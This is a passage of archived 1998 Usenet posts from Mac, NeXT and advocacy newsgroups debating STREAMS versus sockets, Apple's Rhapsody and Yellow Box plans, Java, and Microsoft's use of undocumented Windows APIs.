misappropriated Microsoft's "trade secrets."
***
I don't know if Microsoft uses Visual Basic to write applications,
so the following example may not count.
http://www.cdc.net/~dmitri/pointers.html
Since the original release of Visual Basic 1.0 for Windows, many
programmers thought that lack of pointers was one of the major flaws
that prevented Visual Basic from becoming a language for the "real
programmers". With the release of Visual Basic 5.0 in 1997, Microsoft,
however, attempted to fix that with the introduction of the AddressOf
operator, which allows you to have pointers to functions. However,
that still does not help you with pointers to variables and objects
that can be very extremely useful and convenient in many cases.
Recently, however, it was discovered that Visual Basic (starting
with version 3.0) does, in fact, have an "undocumented function"
that allows you to have pointers to variables! That function is VARPTR,
which has been present in many version of Basic under DOS for quite
some time now (ex. QBasic, Visual Basic for DOS, etc).
In Visual Basic 5.0, Microsoft has introduced 3 undocumented functions
for pointers to variables: VARPTR for variables, STRPTR for strings,
and OBJPTR for objects.
***
http://www.ntug.org.uk/archive/ntdev/00000737.htm
...
I can't let this one go. I have been working with Windows NT since the
first CD's were made available to developers and the thing that nags
at me, and continues to do so, is the difference between requests
like this - not to use undocumented API's (which I fully agree with
BTW - the same thing is a problem with people who use the commercial code
that I produce) and the actual fact that Microsoft *applications* code
use the same undocumented interfaces that their OS people are telling
developers not to use.
There are many examples of this, but the two I have most experience with
are
(1). MS SQL Server allowed integrated logins with the NT security
system for about a *YEAR* before this functionality was finally made
public (in a limited way) in NT 3.51. My code needed to do the same
and this caused massive effort in trying to reverse-engineer the
mechanism - eventually this feature had to be disabled in our product
as we were unwilling to use features that could potentially change.
A good decision you may argue (and now I agree) but the fact was
man-months of wasted effort.
(2). The over-the-wire password authentication used in RAS, SMB
server code etc. This is supposed to be published in an X/Open
document (I have the part number and document - just not at hand).
The published specification for the over the wire encryption IS JUST
PLAIN WRONG. I am one of the developers of Samba - a GNU GPL'ed
Lanman server for unix systems. Microsoft eventually made this
information available to the Samba developers - but again this took
over 8 months (I have email correspondance going back that long on
the matter). BTW, kudos should go to Microsoft for helping the
Samba developers overall - other than this problem their support for
the Samba software has been superb.
****
https://www.micromail.ie/titles/7352.html
Windows Undocumented File Formats (Favis & Wallace) + Disk
****
-arun gupta
From: bhahn@spam-spam.go-away.com (Brendan Hahn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: Tue, 09 Jun 1998 10:50:47 -0800
Organization: Transoft Corp
Message-ID: <bhahn-ya02408000R0906981050470001@news.transoft.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net> <bhahn-ya02408000R0506981645330001@news.transoft.net> <maury-0706981717080001@ts37-08.tor.istar.ca> <bhahn-ya02408000R0806981528390001@news.transoft.net> <6lh78q$hgg$1@ns3.vrx.net>
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maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <bhahn-ya02408000R0806981528390001@news.transoft.net> Brendan Hahn
>claimed:
>> Sure, I think having a socket API is a great thing, and I'm
>> sure there'll be one.
>
> Why? There isn't one under OT now - at least not from Apple.
Because they've committed to supporting a BSD "personality" in MOX. I
figure that means sockets will be available as an API.
>> But the issue from my standpoint is my own investment in DLPI development
>
> You are the first person I've heard that's mentioned that. Let me ask you,
>what do you use it for?
IP implementations, mainly. I've also got a custom protocol, but it's
still kind of half-assed...needs more work. Anyway, the propspect of
forward compatibility for these is *very* appealing, because I have a
boatload of work to do already. Most of my software is disk and device
drivers, filesystem components, and other system extension stuff that all
has to be redone. The networking stuff is just more hassle I don't want at
this point.
It's not *just* that, though...I do think STREAMS is a good technology, too.
>> POV. And tunneling, too, unless by that you mean supplying some kind of
>> compatibility plug-in system for STREAMS modules (tunneling to me means
>> protocol encapsulation, which again is irrelevant).
>
> No, I was referring to the 4.4BSD "tun: concept. See messages from my boss
>with the man readout.
I hadn't heard of it...I checked out the manpage, and it does look like it
might be the basis of a good component system. I need to learn more about
it, though...and it still doesn't save me redoing my network software.
bhahn@transoft.mangle.net <-- unmangle to reply
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 9 Jun 1998 12:41:45 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ljai9$jfl$1@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com> <6l97qi$6ue$2@ns3.vrx.net>
<SCOTT.98Jun7234604@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98Jun7234604@slave.doubleu.com> Scott Hess claimed:
> I can only assume we mean the same thing when we say "STREAMS". You
> can implement a BSD sockets-alike layer over STREAMS, but you _can't_
> implement a STREAMS-alike layer over sockets. I'm not even sure
> "STREAMS-over-sockets" makes sense. The whole point of STREAMS is
> that you can insert new functionality at arbitrary layers.
Well after reading a good chunk of the SysV networking manual, I have to
ask "how?".
Yes, it includes a DPLI system for mux-deux at that level, and yes it
includes the "modules" concept - included to support terminal emulators - but
I see no way in the system to swap out layers below 6, until you get to the
hardware. IE, the "big difference" here is that STREAMS has an explicit
Presentation Layer interface, and Sockets does not. While that allows you to
build something like a de-SOCKSer, it does not allow you to swap IP stacks
for instance - at least in a fashion any different than BSD.
If there is some scheme to swap layers below this I can't find mention of
it in _that_ manual, nor do I see any specific examples of it on the Mac, nor
on other platforms. Please note I am not a network protocol developer, yet
neither are many of the people involved in this "debate" it seems.
> just emulate those layers. It's not a problem for sockets, because
> there aren't any sockets layers other than the top (client) and the
> bottom (device driver).
That's not exactly true, there are a number of sockets systems referred to
as "domains". Although this does not present an interface per se, it does
effectly divide the system into three parts - the stream head in the user
application, the protocol stack, and the device drivers (all of which are
swappable).
Under STREAMS this is modified by the possible inclusion of a 4th level in
the form of "modules" placed just under the stream head via ioctls. I wonder
how memory is handled in these cases though, if STREAMS continues to use it's
pointer passing for this.
> Of course, they can probably provide reasonable STREAMS lookalike
> functions at the _client_ layer. But from the client layer, the
> differences between STREAMS and sockets are hard to see, they're just
> APIs for speaking TCP/IP.
Well both are multilingual. For instance, 4.4BSD defines an AppleTalk
domain.
> Mach is not an operating system in the traditional sense of the word.
But in mose same senses "Mach" is because it also includes the OS emulation
layer in the same term. Mach 3.0 for instance refers to a Mach microkernel
running a BSD layer (natively). It wasn't until MkLinux that there was any
version of Mach not running BSD, and that was one of the primary reasons for
doing the project, to see if it could be done.
> Namely, Mach itself doesn't provide sockets _or_ STREAMS.
:-) This is the moot point.
> So even if there is a STREAMS version running in an OS based on a Mach
> microkernel, that doesn't necessarily do you any good. It would still
> have to be integrated into the BSD variant Apple is using.
> Furthermore, sockets are at the core of BSD, and replacing them isn't
> going to be easy.
This is true.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 12:44:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ljao8$jfl$2@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<SCOTT.98Jun8000830@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98Jun8000830@slave.doubleu.com> Scott Hess claimed:
> STREAMS potentially provides similar capabilites for working with
> networking protocols that DriverKit provides for writing drivers.
> That said, it doesn't concern me all that much that it's missing,
> because when it comes down to it being able to screw with networking
> protocols isn't useful in _that_ many cases. When it's useful, it's
> _very_ useful, but only a vanishingly small set of installations need
> anything more than TCP/IP with support for a small set of hardware
> connections,
Which is why I compare it to the GX debate.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 9 Jun 1998 17:56:30 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ljt0e$99n@newsb.netnews.att.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6kai2u$89m$1@gte2.gte.net> <ericb-2605981515000001@132.236.171.104> <6kkga7$e0l$10@gte2.gte.net>
Originator: gupta@tlctest
In article <6kkga7$e0l$10@gte2.gte.net>, Roger <rfelts@.> wrote:
>On Tue, 26 May 1998 15:15:00 -0400, someone claiming to be Eric
>Bennett wrote:
>
>
>>The author says that Microsoft execs admit it:
>
>My point exactly. The author says. More assertion. Did he write
>"Steve Ballmer, in a speech to industry insiders on the eve of
>Comdex..."
>
>No.
>
>Exactly where and when was this admission made?
Here is an independent quote of the same thing :
PC Magazine, April 25, 1995, v14 n8 p75(2)
Author Miller, Micheal J.
Quote :
Do Microsoft applications have an unfair advantage because their
creators have insider knowledge of the operating system ?
Microsoft raised the question itself a few years back by
implying that there was a "Chinese wall" separating the company's
operating systems group and applications group, then later
reversing itself ans saying that there was no such wall.
End quote.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 9 Jun 1998 18:12:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ljtu5$9e0@newsb.netnews.att.com>
References: <6k217h$5o7$1@cronkite.cygnus.com> <B18A96F7-13AEA6@204.31.112.105> <356C2B72.294@remove.muenchen.this.org.junk>
Originator: gupta@tlctest
More on the "Chinese wall" :
Computer World, April 28, 1997, v31,n17 p113(1)
Author : David Coursey
Quote :
My suggestion for Sun comes from the Good for the Goose/
Good for the Gander Department, and it relates to the
"Chinese wall" that supposedly once separated Microsoft
applications developers from Microsoft operating systems
builders.
For a time, Microsoft said such a wall really existed within
the company. Then Microsoft defended itself against several
media reports to the contrary aand finally admitted that no
such separation existed.
End quote.
-arun gupta
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: Tue, 09 Jun 1998 15:38:53 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0906981538530001@jchristie.halifaxcable.dal.ca>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com> <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca> <SCOTT.98Jun8113349@slave.doubleu.com>
In article <SCOTT.98Jun8113349@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
> In article <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) writes:
> It is more than that. It is also a question of running an already
> available Sockets implementation on top of Streams or CREATING an
> implementation (interface??) of Streams on top of Sockets.
>
> Not really, because while you can create a sockets interface on top of
> STREAMS, you _can't_ create a STREAMS implementation on top of
> sockets.
But, this is exactly what Apple has proposed to do, at least at the
most rudimentary level. There will be an Open Transport interface put on
sockets.
> Why don't they use what is already available?
>
> I'm not clear what you're referring to, here. They will be using
> sockets for now, because that's what's already available,
Sockets is available in the MacOS? Is it available in Open
Transport? They plan to implement an Open Transport interface to
Sockets. This is nuts. What is already available is an implementation of
sockets on STREAMS. If the current YB and other components of Rhapsody
that access Sockets don't hack it in any way slipping the CURRENT sockets
over STREAM implementation underneath, instead of a straight BSD sockets
implementation, should be a piece of cake (if Rhapsody does hack sockets
then they should fix it). By doing this then they would solve the Open
Transport problem because STREAMS would be available. It makes no sense
to port Open Transport interface to sockets when sockets has already been
ported to STREAMS and Open Transport runs on STREAMS.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 9 Jun 1998 20:20:18 GMT
Organization: echonyc.com
Message-ID: <slrn6nr6dj.ntc.ben@ben.tapehouse.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com> <6l97qi$6ue$2@ns3.vrx.net> <SCOTT.98Jun7234604@slave.doubleu.com> <6ljai9$jfl$1@ns3.vrx.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <6ljai9$jfl$1@ns3.vrx.net>, Maury Markowitz wrote:
>
> But in mose same senses "Mach" is because it also includes the OS emulation
>layer in the same term. Mach 3.0 for instance refers to a Mach microkernel
>running a BSD layer (natively). It wasn't until MkLinux that there was any
>version of Mach not running BSD, and that was one of the primary reasons for
>doing the project, to see if it could be done.
Isn't OSF/1 Mach-based? Is that BSD?
--
Ben
"You have your mind on computers, it seems."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 08:56:34 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906980856340001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <fx5f1.12151$Kx3.12551461@news.rdc1.sdca.home.com>
In article <fx5f1.12151$Kx3.12551461@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>I stand to be corrected but why would you "want" to develop for an API that
>hasn't been written yet? Develop everything MacOS and swap in the Carbon
>calls when published. Apple will have a parser to cull your code by then.
>These are 1:1 swaps, mostly.
I don't want to. I'm in a bit of a bind, unfortunately. I simply don't
have the resources available to do what I want given what is available for
the Mac. However, what Next brought to the table changed all that.
>If you need server class performance forget MacOS and develop YB. It "ALL"
>moves to MacOS X and runs on OPENSTEP. And yes Apple will have a parser
>there too to cull out DPS >> DPDF calls. More work but not any rewrite on a
>major scale.
Agreed. My problem is that I may not be able to afford to deploy what I've
written. We're going to be stuck in a Rhapsody no-mans-land due to what
hardware we own - which isn't so awful, at least we have it - but it could
become quite painful as some of what was put forth at WWDC could improve
matters for me as well, but might not be available until we upgrade
hardware - again.
Unfortunately, if I wanted to buy hardware that would support YB and know
that there would be future development taking place for me to use, I
should have bought Wintel.
There was never any indication that running YB on a client OS on Apple
hardware would be so incredibly resource specific. The fact that their
server OS has more lenient hardware requirements than the client OS that
will follow from it is, well, unacceptable.
Apple's making a fine case for NT adoption for many of us.
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 10:00:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A2B7FB-6AA33@206.165.43.26>
References: <rmcassid-0906980844350001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Robert Cassidy <rmcassid@uci.edu> said:
>No, Carbon *should* be some sort of Jurassic Park experiment
>gone well. Brought forward in time as a convenience and novelty, but not
>with the intention of further evolution.
I was under the impression that many/most Carbon APIs are actually Mach
kernel resources exposed to applications via a MacOS ToolBox API instead of
via the YB framework.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 10:31:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ljrgk$mqg@nntp02.primenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu>
<X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: I will say that adamantly disagree that Apple would spurn the Java Developer.
: Previous actions, statements and products belie just the opposite.
I think Apple's Java plans have been on-again, off-again. On, with things
like Quicktime for Java. Off, with things like bailing on Java3D. On
again with Java APIs for Rhapsody. Off again, with a missing AWT for
Rhapsody (is it there for RDR 2?).
All this makes Apple's Java look a little platform specific for my tastes.
John
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 17:46:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nqt7q.562.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com> <6ljrgk$mqg@nntp02.primenet.com>
On 9 Jun 1998 10:31:00 -0700, John Jensen <jjens@primenet.com> wrote:
>I think Apple's Java plans have been on-again, off-again. On, with things
>like Quicktime for Java. Off, with things like bailing on Java3D. On
>again with Java APIs for Rhapsody. Off again, with a missing AWT for
>Rhapsody (is it there for RDR 2?).
I have not seen that. Apple has promised 100% Java compatibility for Rhapsody
CR1. The YB API is being opened up for use by Java. You can extend Obj-C with
Java and Java with Obj-C. AWT support (and swing and beans) is at least partialy
supported in DR2.
As for Java3d, how much use is it? Apple should stick to the stuff that matters
and fill in the little things as time allows. Swing and beans make more senese
to support than YA 3d API.
>All this makes Apple's Java look a little platform specific for my tastes.
Maybe. Apple's Java support will work on NT/9x and Rhapsody/MacOSX. That should
account for 95%+ of the market. It would be nice if it was 99.99% but things
take time.
--
sal@panix.com
Salvatore Denaro
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 19:27:24 GMT
Organization: echonyc.com
Message-ID: <slrn6nr3ac.ntc.ben@ben.tapehouse.net>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <6lji4s$pns$1@new-news.cc.brandeis.edu>, Nathan G. Raymond wrote:
>
>Four years ago Sun came and made a presentation on Java to Brandeis
>University, and my cosci prof. came away very underwhelmed. Java is not
>so much about good tech., as it is the buzzword du jour, and clearly
>buzzwords impact certain markets.
Is this your opinion, or did you borrow it from your prof? Java's no
panacea, true, but Sun did some seriously impressive things with it, and I
wonder why you have such a low view of it.
--
Ben
"You have your mind on computers, it seems."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 12:55:59 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906981255590001@dante.eng.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <6ljkv1$qo4$1@new-news.cc.brandeis.edu>
In article <6ljkv1$qo4$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
>In article <rmcassid-0806982357100001@dialin33413.slip.uci.edu>
rmcassid@uci.edu (Robert Cassidy) writes:
>>I agree, in hindsight at least. But I'm having my doubts of MacOS X now.
>>The API was interesting to me. That is in doubt now. The hope for an
>>environment that would be appealing to use is fading.
>
>If you don't have a legacy MacOS application, and you don't want to target
>System 6, 7, or 8, stick to YB. Very simple.
Not very simple. I have 604 based PCI boxes. No MacOS X for me. Will I get
new APIs in Rhapsody? I don't know. Not good.
Apple may have only changed the name for most, but they also changed the
hardware that the product runs on based on what I see now. That's real.
That's substantial.
>>And if I have to
>>pick between environments that are each sufficiently screwed up, why not
>>just pick NT and commit myself to the fact that these boxes are no longer
>>interesting.
>
>(Whatever happened to the days when developers worried about writing good
>software?)
When it's fun, I worry about that. When it's not fun, I start worrying
about who will pay me more. That's pretty much what it comes down to.
I think you can judge based on how much pain and suffering developers have
gone through by sticking with the Mac or NextStep where their priorities
lay. Many of us got involved with computers and programming because it was
fun. We enjoy what we do. When that stops happening, the motivation for a
lot of us goes away.
There is nothing enjoyable about what comes out of Redmond. It is screwed
up in so many subtle and not subtle ways that there's no pleasure in it.
The Mac was enjoyable until a few years ago when I stopped doing any
serious coding - things were beginning to fall apart. YB had that when I
first started looking at it. But now I'm concerned that everything is
turning in to a variation on what MS puts out.
>>At least I'll get approval for all the extra taxpayer dollars
>>that'll be needed to get my job done...
>
>Yeah, joe public isn't very educated, and we'll all get hurt as a result.
>Eh, the only key to getting out of the western morass is to push education
>a lot harder than it is...
And now I'm worried that the dollars we *did* spend won't take us where we
expected to go. So I can either fight for efficiency and have Apple take
it away (which looks like my short-sightedness) or roll with the tide. The
dollars will probably even out in the end anyway.
The real frustration is that I feel like I'm wasting money no matter *how*
I go. I don't like that!
-Bob Cassidy
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Email that won't give up...
Date: 9 Jun 1998 17:33:23 GMT
Organization: echonyc.com
Message-ID: <slrn6nqski.ntc.ben@ben.tapehouse.net>
References: <6lho5k$4vf$1@supernews.com>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
This question would probably receive a better answer in
news.admin.net-abuse.email.
See you there . . .
--
Ben
"You have your mind on computers, it seems."
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 9 Jun 1998 17:44:55 GMT
Organization: echonyc.com
Message-ID: <slrn6nqta7.ntc.ben@ben.tapehouse.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <slrn6noaev.l0g.ben@ben.tapehouse.net> <vik-0806981741370001@p18.hwts04.loop.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <vik-0806981741370001@p18.hwts04.loop.net>, Vik Rubenfeld wrote:
>> But Rhapsody's API, the Yellow Box, will live on in MacOS X and in
>> YB/Windows.
>
>I see what you mean -- from the same article, "Apple's continued
>development of the Yellow Box for Mac OS and Windows will give current
>Rhapsody developers a growth path as well as a cross-platform
>environment."
Yes -- and remember that MacOS X will be Rhapsody under the hood, not a
descendant of System 8 or whatever.
--
Ben
"You have your mind on computers, it seems."
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 21:49:01 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6lkakd$5e6$1@new-news.cc.brandeis.edu>
References: <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <slrn6nr3ac.ntc.ben@ben.tapehouse.net>
In article <slrn6nr3ac.ntc.ben@ben.tapehouse.net> ben@ben.tapehouse.net (Ben Rosengart) writes:
>In article <6lji4s$pns$1@new-news.cc.brandeis.edu>, Nathan G. Raymond wrote:
>>
>>Four years ago Sun came and made a presentation on Java to Brandeis
>>University, and my cosci prof. came away very underwhelmed. Java is not
>>so much about good tech., as it is the buzzword du jour, and clearly
>>buzzwords impact certain markets.
>
>Is this your opinion, or did you borrow it from your prof? Java's no
>panacea, true, but Sun did some seriously impressive things with it, and I
>wonder why you have such a low view of it.
Heh, the prof. I refer to liked Scheme/Lisp a lot, and AFAIK wasn't
into/didn't deal with databases or GUIs in any way.
I think it boils down to a language design vs. language
implimentation/tools opinion. In terms of OO development, I hear a lot of
great things about Modula-3 and Eiffel. OO design-wise, I don't think
Java has much over them, but when it comes to implimenting an application
in code, there are a lot more tools, libraries, OS support, third party
support, etc. with Java than with Modula-3 or Eiffel. The JVM, if you
consider it an aspect of implimentation and not design, also factors in
pretty heavily. To a pure computer science professor, however, Java is
just another language, a few more implimentation details, but not
something that will radically affect algorithm design.
Perhaps my prof. was looking at it historically, i.e. Java was originially
intended to be the language of consumer appliances, and when that didn't
take off Sun started pushing it as the language of the web. So from that
perspective, it never even accomplished what it was designed to do,
instead conveniently adapted to an emerging market.
What's become of Apple's Dylan, anyway? Ever since the Camridge division
was closed up, I haven't heard a darn thing...
--
Nathan Raymond
http://www.everythingmac.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 9 Jun 1998 21:58:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nrbv9.1po.sal@panix3.panix.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu>
On Tue, 09 Jun 1998 12:39:54 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>Java as language: pretty good. Better than C++, at least.
I agree. C++ can get ugly very quick.
I think it is pretty clear that Apple wants to cash in on the Java buzz, and
sell YB as a mature framework for Java development, while keeping 100% pure
Java in the box.
>Java as API: pretty bad.
I would not call it bad. I would call it immature.
>Java as OS: I don't think so.
A JVM is pretty close to an OS as is. I fail to see why a JVM can not run on
raw hardware (with some extensions for MMU, device drivers and other raw
hardware issues)
--
sal@panix.com
Salvatore Denaro
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 01:16:25 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6lkmp9$bjf$1@supernews.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org>
<6livgp$9m9$2@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
Maury Markowitz may or may not have said:
